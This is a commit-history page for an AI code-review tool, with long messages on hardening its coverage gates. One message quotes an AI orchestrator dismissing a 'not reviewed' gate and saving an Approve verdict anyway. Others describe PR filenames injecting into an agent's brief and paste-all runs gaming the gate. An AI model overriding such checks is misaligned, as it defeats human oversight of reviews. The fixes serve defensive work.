Commit graph

101 commits

Author SHA1 Message Date
Shaojin Wen
25bef232e1
fix(review): report what the transcripts prove; build the roster in one call (#7033)
* fix(review): name a rewritten launch as itself, and leave nothing to hand-assemble

Dogfooded on a real 3A review of a live PR, and the run talked its way past the gate:

  compose-review printed: Verdict: Comment — an Approve was NOT available: a
  dimension nobody reviewed

  the run's next thought: "the compose-review flagged reverse audit as unreviewed
  (transcript visibility issue — the reverse audit did run substantively with two
  dry rounds). Let me proceed."

  the run then reported, and saved: Verdict: Approve

The gap was right and its wording was wrong, and the wording is what let the run
dismiss it. Two auditors HAD run — 16 and 23 tool calls each — and both HAD opened
their brief. What had actually happened is that the orchestrator skipped `--findings`
and hand-wrote their launches, keeping only the brief pointer, so no agent was
launched with the prompt the CLI built. The gap said "no agent was launched with it
that opened its brief", which is false as written, and "a transcript visibility
issue" is what a reader concludes from a message that does not describe what
happened.

So the floor tells the four shapes apart instead of collapsing them into one
boolean, and each says what happened and what to do:

  not-built     — the step was skipped; `agent-prompt --role <r>` never ran
  not-launched  — the prompt was built and nothing was launched with it
  rewritten     — an agent ran and opened its brief, but no agent got the built
                  prompt: the launch was written by hand instead of pasted
  brief-unread  — an agent got the built prompt and never opened the brief

`rewritten` is the one that just happened, and it is now un-dismissable: it concedes
the agent ran and read its brief, and names the orchestrator's own edit as the defect.

And the path that produced it is gone: `--findings` is now REQUIRED for a role that
takes findings. There is no bare-block-plus-hand-assembly path left — the command
refuses, and prints one block to paste. An early reverse-audit round with nothing
confirmed yet passes an empty file, which the command renders as "Nothing is
confirmed yet".

SKILL: Step 4/5 say `--findings` is required. Step 6 gains the second half of the
lesson — you may not overrule the line compose-review gives you; a cap you can
explain is still a cap, and the fix is to make the step verifiable and re-run, not to
keep the verdict you preferred. Step 8's report interpolates the verdict out of the
composed JSON (`jq -r .event`) instead of typing it, because the terminal is prose
and the archive is forever.

* fix(review): call the CLI that is running, not whatever `qwen` PATH finds

Reported from a real session: `npm run dev:daemon`, `/review 6998 --comment` in the
web shell, and the run died on

  Missing required argument: chunk

with a help screen for a command that has no `--role` at all. The daemon was running
the checkout — the skill it loaded is the current one, and says `--role 0` — but the
skill shells out to `qwen review agent-prompt …`, and `qwen` on that machine is
`/usr/bin/qwen` → a v0.19.10 global install whose `agent-prompt` predates #6892
entirely. The skill and the CLI it was talking to were different programs.

The skill assumed `qwen` on PATH is the build running it. That holds for a single
install and breaks for exactly the people most likely to run a dev daemon. It is also
invisible when it breaks: the error names an argument, not a version.

So the entry is passed down instead of rediscovered. `scripts/cli-entry.js` is the
executable entry and the one thing that knows its own path, so it publishes it as
`QWEN_CODE_CLI` (`||=`, so the relaunch into dist/cli.js keeps pointing callers back
at the wrapper with the shebang, not at itself). `daemon-dev.js` sets it too — the dev
daemon is started as `node scripts/dev.js` and never passes through the wrapper, which
is why this bit there first. `getShellContextEnvVars` passes it to every shell
subprocess, beside the session and project-dir vars that are already handed down for
the same reason. The skill's 23 command sites now read `"${QWEN_CODE_CLI:-qwen}"
review …`; the fallback keeps hosts that do not export it on the old behaviour.

PATH was the other candidate and was rejected: prepending a shim dir means writing an
executable at spawn time and overriding `PATH` in an env that
`normalizePathEnvForWindows` has already normalised — a `Path`/`PATH` collision on
Windows in exchange for saving one variable.

The env var is isolated in `shellContextEnv.test.ts` the way the session id already
is: the CLI now exports it to every shell it spawns, so `npm test` run from inside a
qwen session inherits it, and the exact-equality assertion would have failed on a
variable the test never set. Verified by running the suite with it set.

* fix(review): point the dev daemon's CLI at the source it is running, not dist

Verifying the previous commit on a real `npm run dev:daemon` caught it doing a
smaller version of the bug it fixes. The daemon runs the TypeScript **source**
through tsx; `cli-entry.js` runs `dist/cli.js`. Pointing QWEN_CODE_CLI there traded
"the subprocess is a whole major version behind" for "the subprocess is however
stale the last build was" — measured on the box that reported this, dist was **105
source files** behind the daemon. Same bug, smaller hat.

`scripts/dev.js` is the entry that runs what the daemon itself runs, so the dev
daemon points there. It gains a shebang and the exec bit, which is what lets a
caller invoke it as `"${QWEN_CODE_CLI}" review …` without knowing it needs node —
the same shape `cli-entry.js` already has for the published path.

Verified end to end on a headless box: started the dev daemon, read
/proc/<pid>/environ (QWEN_CODE_CLI=<repo>/scripts/dev.js, -rwxr-xr-x), and ran the
command that started this whole thread. Before: `Missing required argument: chunk`.
After: `agent-prompt: --role 0 needs a plan with prNumber and ownerRepo` — the role
is understood, and the complaint is about the fixture, which is the correct answer.

* fix(review): say what a missing brief proves, once, to the reader who can act on it

A role with no recorded prompt proves one thing: the brief never reached an
agent. The roster check claimed more than that — "no prompt was built for it
(`agent-prompt --role 0` never ran)" — and on #7012 it said that about all
twelve dimensions of a review that had just posted two Criticals with line
numbers. The agents were in the same comment the gate was calling empty.

Both failures are real and neither is the other. An orchestrator that writes the
launch by hand gets an agent that runs, reads the diff and finds things, having
never seen the severity bar, the finding format or this project's rules — all of
which live in the brief it was never given. That is worth blocking on. It is not
"nobody looked", and a check may not report the reading it cannot see.

Three changes, one shape:

- The per-role text says the brief never reached an agent, and that the
  dimension was reviewed "if at all" from a prompt the run wrote for itself.
  It no longer speaks for the agent's existence.
- Every role briefless collapses to one line. It is one failure — the run did
  not use the prompt builder — and saying it twelve times buries the fact that
  explains all twelve.
- The public body drops the internal command. `agent-prompt --role 2` is not
  something a PR author can run; on #7012 fourteen lines of it were the whole
  CHANGES_REQUESTED while the findings sat inline below the fold. The call
  survives in check-coverage's stderr, where the orchestrator reads it, and the
  role number is already in each label.

check-coverage no longer leads with a count: the collapsed line covers the whole
roster, so "1 required brief" would undercount it by the size of the review.

Behaviour is unchanged — the gate fires on exactly the same runs and still caps
the verdict. Only the sentence changes, and only where it was overclaiming or
talking to the wrong reader.

* fix(review): name the directory the missing briefs were missing from

"The prompt builder never ran" and "the prompt builder ran against a different
--plan" arrive at this check as the same thing — an absent file — and they are
fixed differently. Nothing in the error told them apart.

The record directory hangs off the plan path as given, so a relative --plan
resolves against the caller's cwd, and the skill runs Steps 2-6 from inside the
worktree it just created. Two cwds, one relative path, two directories. Proven
locally: the same `--plan .qwen/tmp/p.json` from a repo root and from a worktree
under it yields two record dirs.

That is not a reason to resolve the path differently — resolving a relative path
against the cwd is what a relative path means, and the mismatch mostly fails
loudly, because the plan is not in the worktree either and the read errors. It
is a reason to print where it looked. One line, on stderr, where the
orchestrator reads it; the PR author gets no path to a temp directory.

* feat(review): build the whole roster in one call, because compliance decays per call

The launch prompts are already small — a role line, the brief pointer, the diff
reads — and it did not save the run that stopped building them. Dogfooded on one
PR, the same environment went from a clean review to "no prompt was built for
any of twelve roles" over three reviews in a day. The per-agent form asks the
orchestrator for ~30 build-then-launch round trips on a large review, and that
is a compliance cost paid per agent, per review, forever; what decays under
repetition eventually decayed.

`agent-prompt --roster` builds every prompt the plan requires — chunk agents,
dimension agents, invariants — in one call: one labelled block per agent, each
recorded under the key `check-coverage` will look it up by. The list is
`requiredAgents(plan)`, the same list the coverage gate reads, so what gets
built is exactly what gets checked; a key the two derive differently is refused
at build time rather than surfacing later as "brief never reached an agent" on
a compliant run.

The blocks are separated by lines that are visibly not prompt text, and a block
copied lazily — separator included — still passes the add-only delivery check.
That is load-bearing: if honest-but-sloppy copying read as a rewrite, the gate
would punish exactly the behaviour this call exists to buy.

The per-agent forms stay, for rebuilding a single prompt after Step 3D names a
gap. Step 4/5 verify and reverse-audit are untouched: they are built per round,
with the findings folded in.

SKILL.md's Step 3A and 3B now ask for the roster once instead of one call per
agent, and check-coverage's missing-brief error names the one-call fix first.

* fix(review): close the review's five consistency gaps in the CLI-pinning story

Review feedback on this PR found five places where the fix stopped short of its
own thesis. All five, addressed:

1. Four copyable SKILL.md commands had missed the QWEN_CODE_CLI sweep —
   `pr-context` (lightweight mode), `cleanup` (cache hit), `capture-local
   --file` (file-path reviews), `agent-prompt --whole-diff` (Agent 8). On a
   skewed host those modes died exactly the way the motivating run did. All
   four now carry the prefix; the remaining bare mentions are prose.

2. check-coverage's own stderr recommended recovery with a bare `qwen` — the
   message is the interface the orchestrator acts on, and on a skewed host the
   recommended recovery reproduced the skew. All four recommendation sites now
   print the prefixed form, and the rebuild hint covers `--chunk <id>`, which a
   missing chunk agent needs and `--role` cannot express.

3. Ambient inheritance could silently re-point an entry at another session's
   CLI. A dev daemon started from inside another qwen session's shell — the
   usual dogfooding flow — inherited that session's QWEN_CODE_CLI through
   `??`/`||=` and called the OUTER build: the same skew, one level up, and
   silent. Every entry now stamps itself unconditionally; nested sessions each
   call their own build. The `||=` comment in cli-entry.js also claimed a
   relaunch hazard that does not exist (the relaunch child runs dist/cli.js and
   never re-executes the wrapper) — the comment now states the real reason.

4. The third dogfooding entry point was still unpinned: `npm run dev` and
   `npm start` published nothing, so a /review from a plain dev TUI fell back
   to PATH. `scripts/dev.js` now stamps the variable in the env it spawns with
   — which also covers the daemon, since daemon-dev launches serve through it,
   and the daemon's own deferring copy is gone (one writer, not two).
   `scripts/start.js` does the same and gains the shebang and exec bit that
   make it callable as the entry it now names.

5. `"${VAR:-fallback}"` is POSIX parameter expansion, which cmd.exe passes
   through literally and PowerShell rejects. The skill was already POSIX-bound
   (Step 0 pipes through `tee`); the requirement is now total, and SKILL.md
   says so where the variable is introduced: on Windows, run the review from
   git-bash.

The unconditional stamp is pinned by a test that inherits a foreign
QWEN_CODE_CLI and asserts the spawned child gets this checkout's dev.js;
flipping the assignment back to `??` turns exactly that test red.

* fix(review): finish the two-register split, and pin the last unpinned entry

Round-2 review feedback: five more places where this PR's own rules were not
yet applied to itself.

The Agent 7 brief handed its subagent a bare `qwen`. Its two fenced command
blocks (`build-test`, `test-efficacy`) are the one call site where a SUBAGENT
shells out to the review CLI — reachable by neither the SKILL.md sweep nor the
stderr hints. Its shell gets QWEN_CODE_CLI exactly as the orchestrator's does,
so the standard prefix works verbatim; without it, an old PATH global likely
lacks these subcommands entirely, wedging the agent between its mandate (no
hand-run builds) and a command that does not exist. A test now rejects any
line-initial bare `qwen review` in that brief.

The Step 4/5 gap texts and the blind-agent line carried remediation commands
into the posted body — the register §4 stripped from missingRoles, surviving
in the sibling paths, and partly ADDED by this PR (the rewritten texts). Each
gap is now two sentences for two readers: `gap` (author-facing, no internal
commands, rendered under `Not reviewed:`) and `fix` (orchestrator-facing,
printed by compose-review to stderr as `FIX:` lines, carried on the result as
`remediation`). The four-shape precision is intact — it moved channels, not
content — and tests pin both directions: the body may not contain
`agent-prompt`/`--findings`, and the remediation must.

Pinning start.js exposed a stdout contamination: check-build-status.js printed
"Checking build status..." to stdout ahead of every child, and start.js is now
an entry whose stdout callers consume — `review parse-args --stdin | tee`
would write a plan file whose first line is not JSON. The checker's status
lines go to stderr with its warnings; `./scripts/start.js --version` now emits
the version alone.

Also from review: the all-briefless hint no longer points at role labels the
collapsed line does not carry, and start.js's stamp gets the same test dev.js
has — inherit a foreign QWEN_CODE_CLI, assert the spawned child gets this
checkout's entry.

* fix(review): isolate the env var this PR exports, and give every gap its FIX

Two findings from the bot review of the previous commit.

The shellContextEnv suite isolated QWEN_CODE_SESSION_ID and QWEN_CODE_CLI but
not QWEN_CODE_PROJECT_DIR — the third variable the CLI exports to every shell,
and the one this suite's own per-session tests assign without cleanup.
Reproduced: run the suite with it set, as any `npm test` from inside a qwen
session does, and exactly the two `.toEqual()` exact-match tests fail on a key
the test never set. Same isolation, same shape, and it retires the in-file
leak too.

The remediation channel covered blind agents and the Step 4/5 gaps and stopped
there: missing briefs, rewritten launches, unread briefs and never-opened
diffs still reached the body with no FIX line beside them. A body disclosure
with no repair command is how #7012's orchestrator got to "the agents clearly
did their job" — the whole reason the channel exists. Each category now pushes
one remediation line (missing briefs point at `--roster`; the relaunch-shaped
ones say relaunch with the same printed prompt), and a test pins the pair for
a roster gap: the body says "brief never reached an agent" with no command in
it, and the remediation names the roster call.

* fix(review): retire the last two overclaims the round-3 review found

Two sentences, same class, both this branch's own thesis applied to itself.

A chunk agent that ran on a hand-written prompt while its chunk was never
built landed in the body as "no prompt was built for it (`agent-prompt` never
ran for this chunk)" — an internal command on the author-facing surface, one
line per chunk on a 3B replay of the #7012 shape. The label now says what
happened in the author's register (ran on a prompt the run wrote itself; the
brief never reached it); the rebuild command already rides the
rewritten-launches remediation line on stderr.

And the Step 4/5 `not-built` texts still said "no auditor ran" / "no verifier
ran" — the one residual of the overclaim this branch exists to retire.
`not-built` is decided before the transcripts are consulted: a run that
skipped the builder and hand-wrote the launch leaves no brief on disk whose
open could be looked for, so such an auditor is invisible to the check, and
"no auditor ran" claims sight it does not have. Both texts now use the roster
wording: what a missing record proves (no agent was launched with a prompt
this skill builds), then what it costs ("ran, if at all, without the method
its brief carries"). The Delivery docstring records why.

Tests pin the new sentences positively and negatively; the register pin
(no `agent-prompt`/`--chunk` in a body label) guards the first one.

* test(review): make the every-gap-has-a-FIX claim true, and pin the partial stderr shape

Round-5 review caught a test whose title outran its body: "every coverage gap
… has a FIX" exercised only the missing-roles path, so dropping the
remediation push for unread briefs — or rewritten launches, or never-opened
diffs — failed nothing. That is the exact disclosure-without-repair state the
channel exists to prevent, asserted by a test that could not see it.

The title now claims what the test covers, and a sibling test covers the rest:
one plan, three defects — a chunk agent on a hand-written prompt, one that
never opened its brief, one that never opened the diff — asserting each
category's FIX line and that none of the three drags a command into the body.
Between the blind-agent test, the missing-roles test and this one, every
category that discloses is now asserted to repair; mutation-checked by
deleting each push in turn, one red test each.

Also from the review: the missing-briefs stderr had handler coverage only for
the all-briefless collapse. The partial shape — one role missing, the rest
briefed — reached stderr through no test, so a formatting regression there
(a broken join, a lost --roster hint, a garbled Looked-in path) would ship
unseen. A second handler test pins it: the per-role detail, the rebuild
hints, and the record-dir line, with the collapse text asserted absent.

* fix(review): close the round-5 findings — entry contracts, gap reach, repair loops

A GPT-5 review pass filed twenty-eight findings against this branch. Nineteen
were real and are fixed here; two were refuted with evidence (the scripts test
suite IS in CI: `test:ci` runs `npm run test:scripts`); the rest are recorded
follow-ups of documented floor designs.

Entry contracts. The standalone package launches through a shim that carries
the bundled Node and announces itself via QWEN_CODE_LAUNCHER_PATH — stamping
cli-entry.js there handed subprocesses a `#!/usr/bin/env node` script on hosts
that may have no system Node; the shim is now preferred, with a test. The
variable also predates this branch with a second meaning: desktop tooling sets
it to a vendored dist/cli.js — a module path, no shebang — which a POSIX shell
would run as a shell script; getShellContextEnvVars now drops a shebang-less
script (and only a script: a native binary needs none), restoring the bare
`qwen` fallback for those hosts. And both dev launchers read a signal-killed
child (`code === null`) as exit 0 — a killed gate command reported green; both
now re-raise the signal, with close(null, 'SIGKILL') regressions. The
production entry's stamp gets the test only the dev entries had.

Gap reach. `not-launched` said the pass "did not run" — but a hand-written
launch that never opened the brief lands in that shape too, so it now uses the
certification language the other shapes got. The roster check judged only the
FIRST transcript matching a built prompt, so a failed attempt masked the
compliant relaunch that the remediation itself prescribes — all matches are
consulted now. An agent flagged rewritten is no longer also flagged unopened
(contradictory repairs for one agent), and the all-briefless collapse no
longer coexists with one "none was built" line per chunk transcript.

Repair loops. Every rebuild command the run prints is now executable as
written — plan, selector, and `--rules` included, because a rebuild without
the rules file writes a rules-free brief that every delivery check still
passes; the verify variant stops inviting the empty findings file that is only
legitimate for a reverse-audit round. check-coverage prints exact selectors
beside the human labels. Idle agents and unread chunks get FIX lines too, and
a handler test pins the boundary: every FIX on stderr, before the verdict,
never in the JSON. SKILL.md Step 6 now says what FIX lines are for: one
bounded repair round, recompose, then the cap stands.

Roster integrity. The output is self-checking against the 30 000-character
shell truncation the skill itself documents — numbered blocks, an
end-of-roster line, and SKILL.md redirects it to a file read back paged. A
PR-controlled filename can no longer forge a block boundary: control
characters flatten to spaces in the label and the launch prompt, and a test
pins the separator count.

The jq interpolation in the report template is gone — the verdict line is
copied from Step 6's output, not recomputed by a binary the host may not have.
The findings read-error no longer advises omitting a flag another guard
requires.

* fix(review): filter by overwriting, not omitting — the spread carries what the record drops

The shebang filter fixed the wrong layer. It omitted QWEN_CODE_CLI from the
record getShellContextEnvVars returns — but every spawn site composes the
child env as `{...process.env, ...vars}`, so a key omitted from the additive
record arrives anyway, inherited through the spread. On exactly the hosts the
filter was written for (desktop tooling setting the variable to a shebang-less
vendored dist/cli.js), the value leaked through and every
`"${QWEN_CODE_CLI:-qwen}"` in the skill died on exit 126 — where before this
branch those hosts ran bare `qwen` and worked.

The fix is the pattern this same function already documents for the
agent/prompt IDs: write an EMPTY string, which overwrites the inherited value
through the spread, and which the consumer's `:-` expansion treats exactly
like unset. The test comment that justified omission — "an empty string would
shadow the fallback" — was true only of the colon-less `${VAR-qwen}` form and
is corrected where it stood, so the reasoning that produced the bug does not
outlive it.

The tests now assert on the channel the bug lived in: composing
`{...process.env, ...getShellContextEnvVars()}` and reading the child env —
for the shebang-less case, the unreadable-path case, and the pass-through
case. Reverting the overwrite to an omission turns exactly the two filter
tests red. Verified end-to-end: with the desktop shape in the parent env, a
child shell resolves `"${QWEN_CODE_CLI:-qwen}"` to the PATH `qwen` again.

Also from the same review: the two adjacent `missingReceipts` blocks in
compose-review are one block now (disclosure and repair cannot drift apart),
and the `Exact selectors:` line says a rebuild of an already-built role is
idempotent, so the over-prescription cannot make an operator hesitate.

* fix(review): reunite roleLabel with the doc comment the selectorOf insertion orphaned

The insertion left roleLabel's one-line JSDoc stranded above selectorOf,
stacked on top of the new function's own — a maintainer chasing a wrong-label
bug would have edited the rebuild-flags function. Each doc sits on its
function again.

* fix(review): close the round-9 findings — convergence, injectivity, and the claims a record can carry

Fourteen findings from a GPT-5 review of the previous head; twelve fixed here,
one was already fixed in the commit the review missed, one re-recorded as the
standing roster-design follow-up.

Repair loops now converge. Coverage accumulated every historical failed
transcript, so the relaunch its own FIX line prescribes ADDED a transcript
while the failed one kept its flag — ok stayed false, the same FIX printed
forever. A failed attempt is now superseded by a compliant attempt at the same
target (same chunk served verbatim with the diff opened; same built prompt
delivered to an agent that opened its brief), and a rewritten agent is not
also told to relaunch the prompt that was the defect.

One transcript, one credit. Pasting the whole roster output to a single agent
produced one transcript that verbatim-contains every block, matched every
requirement independently, and certified an N-agent fan-out with one reader
(reproduced upstream: roster 8, agents 1, ok true). Requirements now claim
distinct transcripts; the paste-all run fails with a sentence that names the
mistake.

Records claim only what they prove. "Its brief never reached an agent" said
more than a missing record can see (the builder may have run against another
--plan spelling); it now reads "no record shows its brief reaching an agent".
The rewritten texts claimed the brief's method never arrived — but that shape
is DETECTED by the brief being opened; they now state exactly that, and that
the launch was not the built one. A zero-byte record (a torn write) no longer
counts as built anywhere: one predicate serves the collapse, the roster loop
and the chunk lookup.

Entries the shell can actually run. The shebang filter now also requires the
execute bit (a 0644 script passes the header check and dies on EACCES), and
cli-entry consumes QWEN_CODE_LAUNCHER_PATH at stamp time — the serve/mcp fast
path never reached the branch that deleted it, so a standalone daemon leaked
the outer shim into every child, where a different checkout would republish it
as its own entry.

Inputs a PR cannot weaponize, commands an operator can run. The invariant
brief interpolated the raw PR-controlled filename into the file the agent is
told is the whole of its instructions — display sinks now flatten control
characters and the functional read argument is JSON-quoted. Agent 7 no longer
receives the review rules its own workflow forbids it (SKILL.md: deterministic
commands, not code review). The verifier refuses an empty findings file — a
vacuous pass that cleared the delivery floor while ruling on nothing — while
the early reverse-audit round keeps it. FIX lines carry the run's real plan
path instead of a `<plan>` placeholder that pastes as a shell redirection, the
roster truncation hint names --file and --rules, and composed.json persists
the exact verdictLine so the archived report copies rather than reconstructs
it — event and cappedBy alone cannot express a presubmit downgrade.

Every new behaviour is pinned: convergence, paste-all refusal, and the
zero-byte collapse are mutation-checked (disabling each turns exactly its test
red); the exec-bit, brief-injection, launcher-consumption and verdictLine
contracts each carry a direct test. 1 236 tests across the affected suites.

* fix(review): close the three paths the round-11 review found still open

The Step 4/5 FIX lines still carried a literal `--plan <plan>`. Round 9
substituted the real path into compose-review's own remediation strings and
check-coverage's hints, and left the one builder both Step 4/5 gaps flow
through — `rebuildFix` — untouched: its output reached stderr through
verificationGaps with the placeholder intact, and a literal `<plan>` pasted
into a POSIX shell parses as input redirection, so the one repair round Step 6
prescribes could never run there. The push sites now substitute the plan path
verificationGaps was handed, and the test that pins the fix text asserts no
literal `<plan>` survives anywhere in the remediation.

A lightweight cross-repo review can now be REQUIRED to run Agent 0. plan-diff
takes `--pr <n> --repo <owner/repo>` — passed only after pr-context succeeds,
so the pair's presence doubles as the context-availability signal — and
writes the identity into the plan; the roster requires role 0 wherever the
full identity is present, not only in worktree mode (fetch-pr always writes
both fields, so PR-worktree behavior is unchanged). Half an identity is
refused: a roster demanding an agent nobody can brief would wedge the run.
SKILL.md's lightweight capture block carries the flags and the
when-not-to-pass-them rule.

And the path-inertness boundary is one function with a wider net: `inertPath`
now flattens every control character (a terminal escape in a filename must
not reach a terminal), the separator glyph, and the backtick — which could
close the Markdown code span the path is rendered inside and let the tail of
a PR-controlled filename run as markup in the brief the agent treats as
authoritative. The roster label and launch-prompt sites that had their own
narrower regexes now share it. The injection test's hostile filename gained a
backtick and an ESC sequence, and asserts the rendered heading carries
exactly the span's own backtick pair and no control bytes, while the
JSON-quoted functional read argument still round-trips the raw path.

Each fix is mutation-checked: reverting the substitution, re-gating the
roster on worktree mode, and narrowing inertPath each turn exactly one test
red.

* fix(review): bind the receipt to what was delivered, and match what actually assigns

Three review-integrity holes from the round-12 review, each with a
reproduction, each fixed at the layer the reproduction named.

The verify receipt could be satisfied by a partial delivery. The record was
deliberately the findings-free launch block, so one key could serve every
shard by the add-only rule — and that same rule let a caller build with a real
findings file, launch the agent with only the recorded tail, and clear the
gate while no verifier ever saw a finding. The record is now the EXACT printed
prompt, findings folded in, keyed per findings-content digest
(`verify--<sha>`, `reverse-audit--chunk-N--<sha>`); the delivery side collects
the whole key family with the documented floor of one. Tail-only delivery
matches nothing; each shard verifies against its own list; shard records no
longer share a key, so none clobbers another.

The injective roster matching was greedy, and greedy rejects valid
assignments. With transcript T1 containing blocks A+B and T2 containing only
A, first-come claiming took T1 for A and reported B missing — a compliant
repair permanently capped by transcript filename order. The claim set is now a
maximum bipartite matching (Kuhn's augmenting paths), seeded on the edges
where the transcript also opened the requirement's brief and extended over all
verbatim edges, so a requirement reports missing only when no injective
completion exists at all.

A rules-free rebuild could silently strip the brief. The launch prompt only
points at the brief, so rebuilding a rules-bearing role without --rules left
the recorded launch byte-identical while the project rules vanished from the
one file the agent treats as authoritative — every delivery check kept
passing. writeBrief now refuses the downgrade at the single choke point both
build paths pass through, with the escape hatch named (delete the record dir
to start over deliberately).

All three are mutation-checked: regressing the record to findings-free, the
matching to greedy, or disabling the downgrade guard each turns its own test
red. 704 review tests green.

* docs(review): let the docs and comments claim only what the new record design does

The round-13 review caught the drift this branch's own thesis forbids: two
SKILL.md sentences still described the findings-free record the previous
commit retired — an orchestrator reasoning from them would conclude a
findings-less delivery still matches, precisely the bypass that commit closed.
Both now state the new contract: the record is the exact printed block, keyed
per findings digest, and a launch that drops the list matches no record.

And the matching comment claimed more than Kuhn guarantees: phase-2
augmentation can displace an opened match onto an unopened edge to enlarge the
matching, so an unread flag describes the assignment, not an impossibility.
The comment now says so, and why cardinality is the right thing to maximize.

* docs(review): finish retiring the findings-free record from every sentence that described it

Round 15 found the three survivors round 13 missed — all in code, not
SKILL.md: the findingsSection docstring (all three of its clauses false since
the digest-key commit), the findings field doc ('Printed, not recorded'), and
the --findings --help text, which told an operator the exact opposite of what
the command now does. Each now states the new contract: the findings are part
of the recorded prompt, keyed per digest, and a launch that drops them matches
no record.

Also from the same review: the plan-path substitution uses a function
replacer, so a path containing $& or $` cannot be misrendered as a
replacement pattern. Practically unreachable for .qwen/tmp paths; closed
because it costs four characters.

* docs(review): the actually-last sentence describing the findings-free record

Round 16 counted one survivor of the sweep the previous commit's title
claimed complete: the acceptsFindings jsdoc in agent-briefs.ts, present-tense,
whose '(see runAgentPrompt)' pointed at a function whose own comment says the
opposite. It now states the digest-key contract like its siblings, and a
whole-tree grep for present-tense descriptions of the retired design comes
back empty.

* test(review): pin the idle and missing-chunk FIX lines to the remediation channel

Round-18 review: the two remediation pushes added for the every-gap-has-a-FIX
rule had no test of their own — deleting either failed nothing, leaving a body
disclosure whose repair could silently vanish, the exact state the channel
exists to prevent. The idle-plan test now asserts the relaunch FIX; the
blind-plan test, whose chunks nobody reads, now asserts the chunks-nobody-read
FIX beside the blind one. Both mutation-checked: deleting each push turns
exactly one test red.

* fix(review): quote the plan path in every printed repair, and test the executable shebang-less shape

Round-21 review, three items. The plan path is now single-quoted at all seven
sites that print it into a repair command — a workspace path containing a
space split the copy-pasted FIX at the space, exactly the operator moment the
lines exist for; the earlier uniformity deferral ends here, uniformly.
PlanDiffResult declares prNumber/ownerRepo so a refactor away from the
conditional spread cannot silently drop the fields the roster's Agent-0
requirement reads. And the filter gains the test its primary target deserved:
an EXECUTABLE shebang-less .js (the desktop vendored bundle shape) is rejected
by the header read itself — the existing 0644 fixture never reached that
branch, so a regression in the byte read would have passed every test.

* fix(review): shell-quote the plan path properly — an apostrophe is not rarer than a space

Round-22 review: the bare '…' wrap from the previous commit closed at an
embedded apostrophe, so ~/Documents/John's Projects broke where it had worked
unquoted — one breakage class traded for another instead of both closed. A
shared shellQuotePath (the same '\'' dance as utils/standalone-update.ts)
now serves all six repair-printing sites, and a test drives verificationGaps
from a plan under an apostrophe directory, asserting the escaped form and
rejecting the naive wrap.

* fix(review): quote the --file selector, un-dead the spawn guard, test the half-identity

Round-24/25 reviews, four small items. selectorOf now shell-quotes the --file
path — the same copy-paste contract the --plan quoting just earned, on the one
selector that carries a path. RULES_MARKER moves above writeBrief's JSDoc,
which it had been silently stealing. The check-build-status test's reject
guard was dead (execFile always delivers string stdout, so an ENOENT resolved
and the empty-stdout assertion passed on a script that never ran) — it now
rejects on spawn-level errors, which carry string codes, while non-zero exits
still resolve. And the roster's ownerRepo guard gets the independent test it
never had: a plan with prNumber but no ownerRepo requires no Agent 0, since
the brief builder cannot serve half an identity.
2026-07-18 00:43:57 +00:00
Shaojin Wen
8652789471
docs(autofix): make bot PR comments bilingual with collapsed Chinese (#7137)
Files the workflow posts verbatim as PR comments (address-summary.md,
no-action.md, e2e-report.md) must now end with a complete collapsed Chinese
translation (<details><summary>中文说明</summary>…), mirroring the
repository's PR-body convention, so the bot's review reports and E2E reports
read natively for both audiences. failure.md/handoff.md stay English-only
without a details block: handoff comments embed a byte-truncated excerpt, and
a severed <details> tag would swallow the rest of the rendered comment.

Contract test pins the rule (bilingual instruction present, the three files
named, the truncation-safety exclusion stated). 51/51.

Co-authored-by: wenshao <wenshao@example.com>
2026-07-18 00:17:25 +00:00
易良
bf12fed31c
fix(ci): notify silent triage re-runs (#7079)
Refs #7073
2026-07-17 16:07:10 +00:00
Shaojin Wen
9be2750d5b
ci(autofix): treat Suggestion-level review findings as actionable per AGENTS.md (#7094)
* ci(autofix): treat Suggestion-level review findings as actionable per AGENTS.md

AGENTS.md's review policy: Suggestions ARE addressed during a PR's first ~5
review rounds; only past that are they deferred with a recorded reason. The
autofix loop's QWEN_SUGGESTION_FILTER contradicted this by unconditionally
hiding /review **[Suggestion]** inline comments from both the scan's feedback
count and the agent-facing feedback rendering — at every round. Since the
loop's MAX_ROUNDS cap (5) is the same boundary the policy names, every round
the loop actually runs is within the address-Suggestions window: drop the
filter from both sites, and align the SKILL's Optional triage with the policy
(implement valuable suggestions; decline only with a recorded per-finding
reason). Contract test pins the filter's absence. 50/50.

* chore: retrigger CI (rerun attempts wedged in queue)

---------

Co-authored-by: wenshao <wenshao@example.com>
2026-07-17 14:17:50 +00:00
Shaojin Wen
62ad5b3ad3
ci(autofix): run the schema gate from a trusted staged copy, not the branch tree (#7076)
* ci(autofix): run the schema gate from a trusted staged copy, not the branch tree

Live-run failure on the first post-merge address run (PR #7072): the verify
gate invokes `bash .github/scripts/check-settings-schema.sh`, but by then the
working tree is the PR BRANCH (switched in "Prepare branch and feedback"), and
a branch that predates the script's merge does not contain it — bash exits 127,
the gate dies with no outcome, and only the always-handoff kept the loop from
going silent. Every bot branch created before the script's merge hits this.

Stage the script from the trusted-base checkout into ${RUNNER_TEMP} before any
branch switch (both jobs, for symmetry) and invoke the staged copy in both
verify gates. This also means the gate logic always comes from the trusted
base, never from the branch under verification.

Test asserts: staged invocation in both gates (and no working-tree invocation),
exactly two staging cp lines, review-address staging ordered before the branch
switch, and the structural before-no-op ordering unchanged. 49/49.

* test(autofix): also assert issue-job staging precedes its branch checkout

Review: the lastIndexOf ordering assertion only protected the review-address
job. The issue job's agent commits can touch .github/scripts, so staging after
the verify gate's checkout would copy the agent's gate instead of the trusted
base's. Assert the first staging occurrence (issue job) precedes the first
git checkout "${BRANCH}" (also the issue job's).

---------

Co-authored-by: wenshao <wenshao@example.com>
2026-07-17 07:56:49 +00:00
Shaojin Wen
5a35435df1
ci(autofix): recover from generated-artifact CI gates and stop silent stalls (#6998)
Some checks are pending
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
E2E Tests / cron-interactive E2E (nightly) (push) Waiting to run
E2E Tests / web-shell Browser Regression (push) Waiting to run
* ci(autofix): teach the review loop about generated-artifact gates and stop silent stalls

The autofix bot stalled on PRs that edit settingsSchema.ts without
regenerating settings.schema.json (e.g. #6984): a CI-only freshness gate
it could neither run, see, nor recover from.

- Give the agent the tool and the instruction to regenerate: add
  `npm run generate:settings-schema` to the develop-issue and address-review
  coreTools allowlists, and a SKILL rule to regenerate + commit a source's
  generated artifact.
- Mirror CI's "Check settings schema is up-to-date" step in both verify
  gates so a stale artifact fails locally instead of red-on-CI after push.
